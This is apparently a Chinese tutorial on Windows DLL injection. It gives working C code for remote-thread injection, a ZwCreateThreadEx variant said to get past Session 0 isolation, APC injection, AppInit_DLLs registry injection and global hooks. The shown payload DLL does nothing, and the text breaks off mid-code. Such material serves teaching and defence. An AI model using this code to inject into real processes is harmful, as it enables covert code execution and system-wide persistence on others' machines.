DLL劫持目标应用软件实现注入

原理:

DLL注入技术,一般来讲是向一个正在运行的进程插入/注入代码的过程。我们注入的代码以动态链接库(DLL)的形式存在。


dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。

实现:

加载Dll的API就是LoadLibrary,它的参数是保存要加载的DLL的路径的地址。所以DLL注入的核心就是把要注入的DLL的路径写到目标进程中,然后在目标进程中调用LoadLibrary函数,并且指定参数为保存了DLL路径的地址。


LoadLibrary函数

HMODULE WINAPI LoadLibrary(__in  LPCTSTR lpFileName);

这个函数同样也只需要一个参数,这个参数是一个地址,而这个地址中保存的是我们要加载的DLL的名称的字符串


跟exe有个main或者WinMain入口函数一样,DLL也有一个入口函数,就是DllMain。当使用LoadLibrary函数加载DLL时,系统会调用DLL的入口点函数

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

会有如下文件,当DLL的状态发生变化的时候,就会调用DllMain函数。而传递的ul_reason_for_call这个参数代表了4种不同的状态变化的情况,我们就可以根据这四种不同的状态根据需要来写出相应的代码,就会让注入的DLL执行我们需要的功能

ul_reason_for_call的值

代表的状态

DLL_PROCESS_ATTACH

Dll刚刚映射到进程空间中

DLL_THREAD_ATTACH

进程中有新线程创建

DLL_THREAD_DETACH

进程中有新线程销毁

DLL_PROCESS_DETACH

Dll从进程空间中接触映射


代码框架:

#include 
#include 
#include 
#define PROCESS_NAME "Taskmgr.exe"    //要注入的进程名,这个是任务管理器的进程名
#define DLL_NAME "InjectDll.dll"  //要注入的DLL的名称
 
BOOL InjectDll(DWORD dwPid, CHAR szDllName[]);  //注入DLL
DWORD GetPID(PCHAR pProName); //根据进程名获取PID
VOID ShowError(PCHAR msg);    //打印错误信息
BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName);    //提升进程权限
 
int main()
{
    CHAR szDllPath[MAX_PATH] = { 0 };  //保存要注入的DLL的路径
    DWORD dwPID = 0;                 //保存要注入的进程的PID
 
    // 提升当前进程令牌权限
    if (!EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME))
    {
        printf("权限提升失败
");
    }
 
    dwPID = GetPID(PROCESS_NAME);
    if (dwPID == 0)
    {
        printf("没有找到要注入的进程
");
        goto exit;
    }
     
    GetCurrentDirectory(MAX_PATH, szDllPath);  //获取程序的目录
    strcat(szDllPath, "");
    strcat(szDllPath, DLL_NAME);               //与DLL名字拼接得到DLL的完整路径
    printf("要注入的进程名:%s PID:%d
", PROCESS_NAME, dwPID);
    printf("要注入的DLL的完整路径%s
", szDllPath);
 
    if (InjectDll(dwPID, szDllPath))
    {
        printf("Dll注入成功
");
    }
exit:
    system("pause");
 
    return 0;
}
 
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
    BOOL bRet = TRUE;
 
    return bRet;
}
 
DWORD GetPID(PCHAR pProName)
{
    PROCESSENTRY32 pe32 = { 0 };
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bRet = FALSE;
    DWORD dwPID = 0;
 
    if (hSnap == INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32Snapshot process %d
", GetLastError());
        goto exit;
    }
 
    pe32.dwSize = sizeof(pe32);
    bRet = Process32First(hSnap, &pe32);
    while (bRet)
    {
        if (lstrcmp(pe32.szExeFile, pProName) == 0)
        {
            dwPID = pe32.th32ProcessID;
            break;
        }
        bRet = Process32Next(hSnap, &pe32);
    }
 
    CloseHandle(hSnap);
exit:
    return dwPID;
}
 
VOID ShowError(PCHAR msg)
{
    printf("%s Error %d
", msg, GetLastError());
}
 
BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName)
{
    HANDLE hToken = NULL;
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges = { 0 };
    BOOL bRet = FALSE;
    DWORD dwRet = 0;
 
 
    // 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
    if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        ShowError("OpenProcessToken");
        goto exit;
    }
 
    // 获取本地系统的 pszPrivilegesName 特权的LUID值
    if (!LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue))
    {
        ShowError("LookupPrivilegeValue");
        goto exit;
    }
 
    // 设置提升权限信息
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // 提升进程令牌访问权限
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL))
    {
        ShowError("AdjustTokenPrivileges");
        goto exit;
    }
    else
    {
        // 根据错误码判断是否特权都设置成功
        dwRet = ::GetLastError();
        if (ERROR_SUCCESS == dwRet)
        {
            bRet = TRUE;
            goto exit;
        }
        else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
        {
            ShowError("ERROR_NOT_ALL_ASSIGNED");
            goto exit;
        }
    }
exit:
    return bRet;
}



远程线程注入:

远程线程注入简单的说,就是调用CreateRemoteThread(),在其他的进程中创建一条线程,执行LoadLibrary(),将特定的DLL加载到进程中间.

由于我们不能轻易的控制别人进程中的线程,因此这种方法要求我们在目标进程中创建一个线程并在线程中执行LoadLibrary函数加载我们要注入的dll。幸运的是Windows为我们提供了CreateRemoteThread函数,它使得在另一个进程中创建一个线程变得非常容易。


HANDLE WINAPI CreateRemoteThread(
  _In_  HANDLE                 hProcess, /要创建线程的进程句柄
  _In_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,/新线程的安全描述符
  _In_  SIZE_T                 dwStackSize, /堆栈起始大小,为0表示默认大小
  _In_  LPTHREAD_START_ROUTINE lpStartAddress,/表示要运行线程的起始地址
  _In_  LPVOID                 lpParameter,/保存要传递给线程参数的地址
  _In_  DWORD                  dwCreationFlags,/控制线程创建的标志,为0表示创建后立即执行
  _Out_ LPDWORD                lpThreadId/指向接收线程标识符变量的指针。为NULL表示不返回线程标识符
);


  1. hProcess用来指定在哪个进程中创建新线程
  2. lpStartAddress用来指定将进程中的哪个地址开始作为新线程运行的起始地址
  3. lpParameter保存的也是一个地址,这个地址中保存的就是新线程要用到的参数


只要我们可以获取新进程中的LoadLibrary函数的地址以及包含有要加载的DLL的字符串的地址就可以通过CreateRemoteThread函数来成功开起一个线程执行LoadLibrary函数来加载我们的DLL。


那么现在的问题就是如何获得LoadLibrary函数的地址以及保存有要加载的DLL路径的字符串的地址。


对于LoadLibrary函数,由于它是在常用的系统DLL,也就是KERNEL32.dll中,所以这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。这样的话Kernel32.dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完全可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。


对于LoadLibrary函数,由于它是在常用的系统DLL,也就是KERNEL32.dll中,所以这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。这样的话Kernel32.dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完全可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。

至于DLL名称的字符串,我们可以通过在进程中申请一块可以将DLL完整路径写入的内存,并在这个内存中将DLL的完整路径写入,将写入到注入进程DLL完整路径的内存地址作为参数就可以实现进程的注入


注意:在开始注入前,还需要确认一件事,就是目标进程使用的字符编码方式。因为我们所调用的LoadLibrary函数在底层实际调用有两种可能:
如果目标程序使用的是ANSI编码方式,LoadLibrary实际调用的是LoadLibraryA,其参数字符串应当是ANSI编码;
如果目标程序使用的是Unicode编码方式,LoadLibrary实际调用的是LoadLibraryW,其参数字符串应当是Unicode编码。
这使得注入过程变得很麻烦,为了减少复杂性,不妨直接使用LoadLibraryA或LoadLibraryW而不是用LoadLibrary函数来避免这一麻烦。另外,即使使用的是LoadLibraryA,LoadLibraryA也会将传入的ANSI编码的字符串参数转换成Unicode编码后再调用LoadLibraryW。综上,不妨一致使用LoadLibraryW函数,并且字符串用Unicode编码即可。
最后,我们可能会为获得目标进程中LoadLibraryW函数的起始地址而头疼,但其实这个问题也很简单,因为目标进程中函数LoadLibraryW的起始地址和我们的进程中的LoadLibraryW函数的起始地址是一样的。因此我们只需要用GetProcAddress即可获得LoadLibraryW函数的起始地址。


步骤:

(1).用VirtualAllocEx函数在目标进程的地址空间中分配一块足够大的内存用于保存被注入的dll的路径。
(2).用WriteProcessMemory函数把本进程中保存dll路径的内存中的数据拷贝到第(1)步得到的目标进程的内存中。
(3).用GetProcAddress函数获得LoadLibraryW函数的起始地址。LoadLibraryW函数位于Kernel32.dll中。
(4).用CreateRemoteThread函数让目标进程执行LoadLibraryW来加载被注入的dll。函数结束将返回载入dll后的模块句柄。
(5).用VirtualFreeEx释放第(1)步开辟的内存。
在需要卸载dll时我们可以在上述第(5)步的基础上继续执行以下步骤:
(6).用GetProcAddress函数获得FreeLibrary函数的起始地址。FreeLibrary函数位于Kernel32.dll中。
(7).用CreateRemoteThread函数让目标进程执行FreeLibrary来卸载被注入的dll。(其参数是第(4)步返回的模块句柄)。

BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
    BOOL bRet = TRUE;
    HANDLE hProcess = NULL, hRemoteThread = NULL;
    HMODULE hKernel32 = NULL;
    DWORD dwSize = 0;
    LPVOID pDllPathAddr = NULL;
    PVOID pLoadLibraryAddr = NULL;
 
    // 打开注入进程,获取进程句柄
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (NULL == hProcess)
    {
        ShowError("OpenProcess");
        bRet = FALSE;
        goto exit;
    }
 
    // 在注入进程中申请可以容纳DLL完成路径名的内存空间
    dwSize = 1 + strlen(szDllName);
    pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (!pDllPathAddr)
    {
        ShowError("VirtualAllocEx");
        bRet = FALSE;
        goto exit;
    }
 
    // 把DLL完整路径名写入进程中
    if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory");
        bRet = FALSE;
        goto exit;
    }
 
     
    hKernel32 = LoadLibrary("kernel32.dll");
    if (hKernel32 == NULL)
    {
        ShowError("LoadLibrary");
        bRet = FALSE;
        goto exit;
    }
 
    // 获取LoadLibraryA函数地址
    pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
    if (pLoadLibraryAddr == NULL)
    {
        ShowError("GetProcAddress ");
        bRet = FALSE;
        goto exit;
    }
 
    //创建远程线程进行DLL注入
    hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, 
                      (LPTHREAD_START_ROUTINE)pLoadLibraryAddr,
                       pDllPathAddr, 0, NULL);
    if (hRemoteThread == NULL)
    {
        ShowError("CreateRemoteThread");
        bRet = FALSE;
        goto exit;
    }
     
exit:
    if (hKernel32) FreeLibrary(hKernel32);
    if (hProcess) CloseHandle(hProcess);
    if (hRemoteThread) CloseHandle(hRemoteThread);
     
    return bRet;
}


补充:

上面的方法虽然可以方便的注入DLL。但是在WIN7,WIN10系统上,会由于SESSION 0隔离机制从而导致只能成功注入普通的用户进程,如果注入系统进程就会导致失败。而经过逆向分析发现,使用Kernel32.dll中的CreateRemoteThread进行注入的时候,程序会走到ntdll.dll中的ZwCreateThreadEx函数进行执行。这是一个未导出的函数,所以需要手动获取函数地址来进行调用,相比于CreateRemoteThread更加底层。这个函数在64位和32位系统中的函数声明也不相同,在64位中的声明如下

typedef DWORD(WINAPI *pFnZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);

它会导致线程创建的时候就被挂起,随后查看要运行的进程所在的会话层之后再决定是否要恢复线程的运行。所以要破解这种情况只需要将第7个参数设为0就可以,相应代码如下

typedef DWORD(WINAPI *pFnZwCreateThreadEx)(PHANDLE, ACCESS_MASK, LPVOID, 
                       HANDLE, LPTHREAD_START_ROUTINE,
                       LPVOID, BOOL, DWORD, DWORD, DWORD, LPVOID);
                     
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
    BOOL bRet = TRUE;
    HANDLE hProcess = NULL, hRemoteThread = NULL;
    HMODULE hKernel32 = NULL, hNtDll = NULL;
    DWORD dwSize = 0;
    LPVOID pDllPathAddr = NULL;
    PVOID pLoadLibraryAddr = NULL;
    pFnZwCreateThreadEx ZwCreateThreadEx = NULL;
 
    // 打开注入进程,获取进程句柄
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (NULL == hProcess)
    {
        ShowError("OpenProcess");
        bRet = FALSE;
        goto exit;
    }
 
    // 在注入进程中申请可以容纳DLL完成路径名的内存空间
    dwSize = 1 + strlen(szDllName);
    pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (!pDllPathAddr)
    {
        ShowError("VirtualAllocEx");
        bRet = FALSE;
        goto exit;
    }
 
    // 把DLL完成路径名写入进程中
    if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory");
        bRet = FALSE;
        goto exit;
    }
 
     
    hKernel32 = LoadLibrary("kernel32.dll");
    if (hKernel32 == NULL)
    {
        ShowError("LoadLibrary kernel32");
        bRet = FALSE;
        goto exit;
    }
 
    // 获取LoadLibraryA函数地址
    pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
    if (pLoadLibraryAddr == NULL)
    {
        ShowError("GetProcAddress LoadLibraryA");
        bRet = FALSE;
        goto exit;
    }
 
    hNtDll = LoadLibrary("ntdll.dll");
    if (hNtDll == NULL)
    {
        ShowError("LoadLibrary ntdll");
        bRet = FALSE;
        goto exit;
    }
     
    ZwCreateThreadEx = (pFnZwCreateThreadEx)GetProcAddress(hNtDll, "ZwCreateThreadEx");
    if (!ZwCreateThreadEx)
    {
        ShowError("GetProcAddress ZwCreateThreadEx");
        bRet = FALSE;
        goto exit;
    }
 
    ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, 
                     hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryAddr,
                     pDllPathAddr, 0, 0, 0, 0, NULL);
    if (hRemoteThread == NULL)
    {
        ShowError("ZwCreateThreadEx");
        bRet = FALSE;
        goto exit;
    }
exit:
    if (hKernel32) FreeLibrary(hKernel32);
    if (hNtDll) FreeLibrary(hNtDll);
    if (hProcess) CloseHandle(hProcess);
    if (hRemoteThread) CloseHandle(hRemoteThread);
    return bRet;
}

APC注入:

APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看.

异步函数调用的原理:

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

异步执行:

A.所有异步程序的执行,都会在同步程序之后在执行
B.异步程序自己之间的执行顺序,如果时间是相同的,那么就是按代码的先后顺序执 行,否则是时间短的会先执行。

1,从一行代码开始执行程序

2,同步程序正常执行

3,如果发现是异步程序,暂时不执行,存储在异步池中,等待执行

4,将程序中所有的同步程序执行完毕后

5,开启异步池,执行异步程序,当设定的时间到达,就会执行对应的异步升序

先到设定时间的异步程序先执行, 如果设定的时间相同,看异步程序的顺序,来执行


回调函数:

函数也可以作为函数的参数来传递


你到一个商店买东西,刚好你要的东西没有货,于是你在店员那里留下了你的电话,过了几天店里有货了,店员就打了你的电话,然后你接到电话后就到店里去取了货。


在这个例子里,你的电话号码就叫回调函数,你把电话留给店员就叫登记回调函数,店里后来有货了叫做 触发回调事件,店员给你打电话叫做 调用回调函数,你到店里去取货叫做 响应回调事件。

程序的APC

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

那么使用APC场合的注入就有了,

1.必须是多线程环境下

2.注入的程序必须会调用上面的那些同步对象.

那么我们可以注入APC,注意下条件,也不是所有都能注入的.

注入方法的原理:

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

使用方法:

1.利用快照枚举所有的线程

2.写入远程内存,写入的是Dll的路径

3.插入我们的DLL即可


要往APC队列中增加APC函数,需要通过QueueUserAPC函数来实现,这个函数在文档中的定义如下

DWORD WINAPI QueueUserAPC(
  __in  PAPCFUNC pfnAPC, /当满足条件时,要执行的APC函数的地址
  __in  HANDLE hThread, /指定增加APC函数的线程句柄
  __in  ULONG_PTR dwData); /要执行的APC函数参数地址

可以看到pfnAPC和dwData这两个参数和CreateRemoteThread中的lpStartAddress和lpParameter的作用是一样的。不过这里是对线程进行操作,一个进程有多个线程。所以为了确保程序正确运行,所以需要遍历所有线程,查看是否是要注入的进程的线程,依次获得句柄插入APC函数。具体代码如下

BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
    BOOL bRet = TRUE;
    HANDLE hProcess = NULL, hThread = NULL, hSnap = NULL;
    HMODULE hKernel32 = NULL;
    DWORD dwSize = 0;
    PVOID pDllPathAddr = NULL;
    PVOID pLoadLibraryAddr = NULL;
    THREADENTRY32 te32 = { 0 };
 
    // 打开注入进程,获取进程句柄
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (NULL == hProcess)
    {
        ShowError("OpenProcess");
        bRet = FALSE;
        goto exit;
    }
 
    // 在注入进程中申请可以容纳DLL完成路径名的内存空间
    dwSize = 1 + strlen(szDllName);
    pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (!pDllPathAddr)
    {
        ShowError("VirtualAllocEx");
        bRet = FALSE;
        goto exit;
    }
 
    // 把DLL完成路径名写入进程中
    if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory");
        bRet = FALSE;
        goto exit;
    }
 
 
    hKernel32 = LoadLibrary("kernel32.dll");
    if (hKernel32 == NULL)
    {
        ShowError("LoadLibrary");
        bRet = FALSE;
        goto exit;
    }
 
    // 获取LoadLibraryA函数地址
    pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
    if (pLoadLibraryAddr == NULL)
    {
        ShowError("GetProcAddress");
        bRet = FALSE;
        goto exit;
    }
 
    //获得线程快照
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (!hSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        bRet = FALSE;
        goto exit;
    }
 
    //遍历线程
    te32.dwSize = sizeof(te32);
    if (Thread32First(hSnap, &te32))
    {
        do
        {
            //这个线程的进程ID是不是要注入的进程的PID
            if (te32.th32OwnerProcessID == dwPid)
            {
                hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
                if (hThread)
                {
                    QueueUserAPC((PAPCFUNC)pLoadLibraryAddr, hThread, (ULONG_PTR)pDllPathAddr);
                    CloseHandle(hThread);
                    hThread = NULL;
                }
                else
                {
                    ShowError("OpenThread");
                    bRet = FALSE;
                    goto exit;
                }
            }
        } while (Thread32Next(hSnap, &te32));
    }
exit:
    if (hKernel32) FreeLibrary(hKernel32);
    if (hProcess) CloseHandle(hProcess);
    if (hThread) CloseHandle(hThread);
    return bRet;
}

注册表注入:

什么是注册表
注册表是windows操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”,也可以说是一个非常巨大的树状分层结构的数据库系统。

注入原理:

在cmd输入regedit打开注册表。定位HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWindows项

是一种比较简单的注入,主要依赖于俩个表项,AppInit_Dlls和LoadAppInit_DLLs。AppInit_Dlls写入dll完整路径,LoadAppInit_DLLs写为1,重启后,指定DLL会注入到所有运行进程。


AppInit_DLLs键的值可以是一个dll的文件名或一组dll的文件名(通过逗号或空格来分隔),由于空格是用来分隔文件名的,因此dll文件名不能含有空格。第一个dll的文件名可以包含路径,但其他的dll包含的路径将被忽略。
LoadAppInit_DLLs键的值表示AppInit_DLLs键是否有效,为了让AppInit_DLLs键的值有效,需要将LoadAppInit_DLLs的值设置为1。
这两个键值设定后,当应用程序启动并加载User32.dll时,会获得上述注册表键的值,并调用LoadLibrary来调用这些字符串中指定的每一个dll。这时每个被载入的dll可以完成相应的初始化工作。但是需要注意的是,由于被注入的dll是在进程生命期的早期被载入的,因此这些dll在调用函数时应慎重。调用Kernel32.dll中的函数应该没有问题,因为Kernel32.dll是在User32.dll载入前已被加载。但是调用其他的dll中的函数时应当注意,因为进程可能还未载入相应的dll,严重时可能会导致蓝屏。
这种方法很简单,只需要在注册表中修改两个键的值即可,但是有如下缺点
1.只有调用了User32.dll的进程才会发生这种dll注入。也就是说某些CUI程序(控制台应用程序)可能无法完成dll注入,比如将dll注入到编译器或链接器中是不可行的。
2.该方法会使得所有的调用了User32.dll的程序都被注入指定的dll,如果你仅仅想对某些程序注入dll,这样很多进程将成为无辜的被注入着,并且其他程序你可能并不了解,盲目的注入会使得其他程序发生崩溃的可能性增大。
3.这种注入会使得在应用程序的整个生命周期内被注入的dll都不会被卸载。注入dll的原则是值在需要的时间才注入我们的dll,并在不需要时及时卸载。

注入流程

第一步:打开注册表键值如下:

HKEY_LOCAL_MACHINESoftWareMicroSoftWindows NTCurrentVersionWindows

第二步:修改AppInit_Dlls

在该键值中添加自己的DLL的全路径加dll名,多个DLL以逗号或者空格分开(因此在文件名中应该尽量不要存在空格),该键值只有第一个dll文件名可以包含路径,后面的都不能包含,因此我们最好将dll放在系统路径 下,这样就可以不用包含路径也能被加载了。

第三步:修改LoadAppInit_DLLs

在该注册表项中添加键值 LoadAppInit_DLLs ,类型为 DWORD,并将其值置为 1 .

代码实现

BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
    BOOL bRet = TRUE;
    HKEY hKey = NULL;
    CHAR szAppKeyName[] = { "AppInit_DLLs" };
    CHAR szLoadAppKeyName[] = { "LoadAppInit_DLLs" };
    DWORD dwLoadAppInit = 1; //设置LoadAppInit_DLLs的值
 
    //打开相应注册表键
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindows NTCurrentVersionWindows",
        0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
    {
        ShowError("RegOpenKeyEx");
        bRet = FALSE;
        goto exit;
    }
 
    //设置AppInit_DLLs为相应的DLL路径
    if (RegSetValueEx(hKey, szAppKeyName, 0, REG_SZ, (PBYTE)szDllName, strlen(szDllName) + 1) != ERROR_SUCCESS)
    {
        ShowError("RegSetValueEx");
        bRet = FALSE;
        goto exit;
    }
 
    //将LoadAppInit_DLLs的值设为1
    if (RegSetValueEx(hKey, szLoadAppKeyName, 0, REG_DWORD, (PBYTE)&dwLoadAppInit, sizeof(dwLoadAppInit)) != ERROR_SUCCESS)
    {
        ShowError("RegSetValueEx");
        bRet = FALSE;
        goto exit;
    }
exit:
    return bRet;
}

全局钩子注入:

Windows系统中的大多数应用都是基于消息机制的,也就是说它们都有一个消息过程函数,可以根据收到的不同消息来执行不同的代码。基于这种消息机制,Windows维护了一个OS message queue以及为每个程序维护着一个application message queue。当发生各种事件的时候,比如敲击键盘,点击鼠标等等,操作系统会从OS message queue将消息取出给到相应的程序的application message queue。

而OS message queue和application message queue的中间有一个称为钩链的结果如下

在这个钩链中保存的就是设置的各种钩子函数,而这些钩子函数会比应用程序还早接收到消息并对消息进行处理。所以程序员可以通过在钩子中设置钩子函数,而要设置钩子函数就需要使用SetWindowHookEx来将钩子函数安装到钩链中,函数在文档中的定义如下


 HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);

参数

含义

idHook

要安装的钩子类型,为了挂全局钩子,这里选择WH_GETMESSAGE。表示的是安装一个挂钩过程,它监视发送到消息队列的消息

lpfn

表示的是钩子的回调函数。如果dwThreadId为0,则lpfn指向的钩子过程必须指向DLL中的钩子过程

hMod

包含由lpfn参数执行的钩子过程的DLL句柄

dwThreadId

与钩子过程关联的线程标识符,如果为0则表示与所有线程相关联。

如果函数成功,则返回钩子过程的句柄,否则为NULL。

根据上面的介绍可以得知,想要创建一个全局钩子,就必须在DLL文件中创建。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件的进程地址空间中,使它可以调用钩子函数进行处理。

所以只要在系统中安装了全局钩子,那么只要进程接收到可以发出钩子的消息,全局钩子的DLL就会被系统自动或者强行加载到进程空间中,这就可以实现DLL注入。

而这里之所以设置为WH_GETMESSAGE,是因为这种类型的钩子会监视消息队列,又因为Windows系统是基于消息驱动的,所以所有的进程都会有自己的一个消息队列,都会加载WH_GETMESSAGE类型的全局钩子。

当idHook设置为WH_GETMESSAGE的时候,回调函数lpfn的定义如下

LRESULT CALLBACK GetMsgProc(int code,
                            WPARAM wParam,
                            LPARAM lParam);

参数

含义

code

指定钩子过程是否必须处理该消息。如果代码是HC_ACTION,则钩子过程必须处理该消息。如果代码小于零,则钩子过程必须将消息传递给CallNextHookEx函数而无需进一步处理,并且应该返回CallNextHookEx返回的值

wParam

指定消息是否已从队列中删除。此参数可以是以下值之一。

PM_NOREMOVE:指定消息尚未从队列中删除

PM_REMOVE:指定消息已从队列中删除

lParam

指向包含消息详细信息的MSG结构体的指针


当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下:

BOOL WINAPI UnhookWindowsHookEx(
  _In_ HHOOK hhk
); 

hhk参数是之前调用SetWindowsHookEx函数返回的HHOOK变量。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。

过程:

1.调用SetWindowsHookEx设置钩子.

2.在设置过程中.需要一个回调.所以我们填入一个回调.(个人tips:这个地方可以设置自写函数,自写功能)

3.回调函数中调用CallNextHookEx函数. 如果不调用.那么相当于我们设置了不反悔.程序可能出现问题.当然是按需返回.(个人tips:如果不调用,这里可能就打乱程序原有的后续代码逻辑)

4.取消HOOK设置.(个人tips:降低性能,所以需要取消)

注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。

由于设置全局钩子的代码需要在DLL文件中完成,所以首先需要新建一个dll文件。

phc.h

#include "framework.h"
extern "C" _declspec(dllexport) int SetGlobalHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetGlobalHook();

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"  
HMODULE g_hDllModule = NULL; 
BOOL APIENTRY DllMain( HMODULE hModule,                        
DWORD  ul_reason_for_call,                        
LPVOID lpReserved                      ) 
 {     switch (ul_reason_for_call)     
  {     case DLL_PROCESS_ATTACH: {         g_hDllModule = hModule;         break;     }     
          case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     
return TRUE; }

pch.cpp

#include "pch.h" 
#include  
#include    
extern HMODULE g_hDllModule;  // 共享内存
#pragma data_seg("mydata")     
HHOOK g_hHook = NULL; 
#pragma data_seg() 
#pragma comment(linker, "/SECTION:mydata,RWS")  //钩子回调函数 
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam){    
	return ::CallNextHookEx(g_hHook, code, wParam, lParam); }  // 设置钩子 
     BOOL SetGlobalHook() {    
		 g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);    
		 if (NULL == g_hHook) {         return FALSE;     }     return TRUE; }  // 卸载钩子 
	     BOOL UnsetGlobalHook() {     if (g_hHook) {         UnhookWindowsHookEx(g_hHook);     }     
		 return TRUE; }


SetGlobalHook(): 设置全局钩子,WH_GETMESSAGE为监视发送到消息队列的消息的钩子,第二个参数则为钩子的回调函数。

GetMsgProc(): 钩子的回调函数,CallNextHookEx表示将当前钩子传递给下一个钩子,若返回值为0,表示中断钩子传递,对钩子进行拦截。

UnsetGlobalHook(): 卸载钩子

享内存: 由于全局钩子是以DLL形式加载到进程中,进程都是独立的,要将进程句柄传递给其他进程,可以使用共享内存突破进程独立性,使用"/SECTION:mydata,RWS"设置为可读可写可共享的数据段。



创建c++空项目 编译下面代码,将hookDll.dll放在生成的exe下,运行

#include  
#include   
typedef BOOL(*PEN_HOOKSTART)(); 
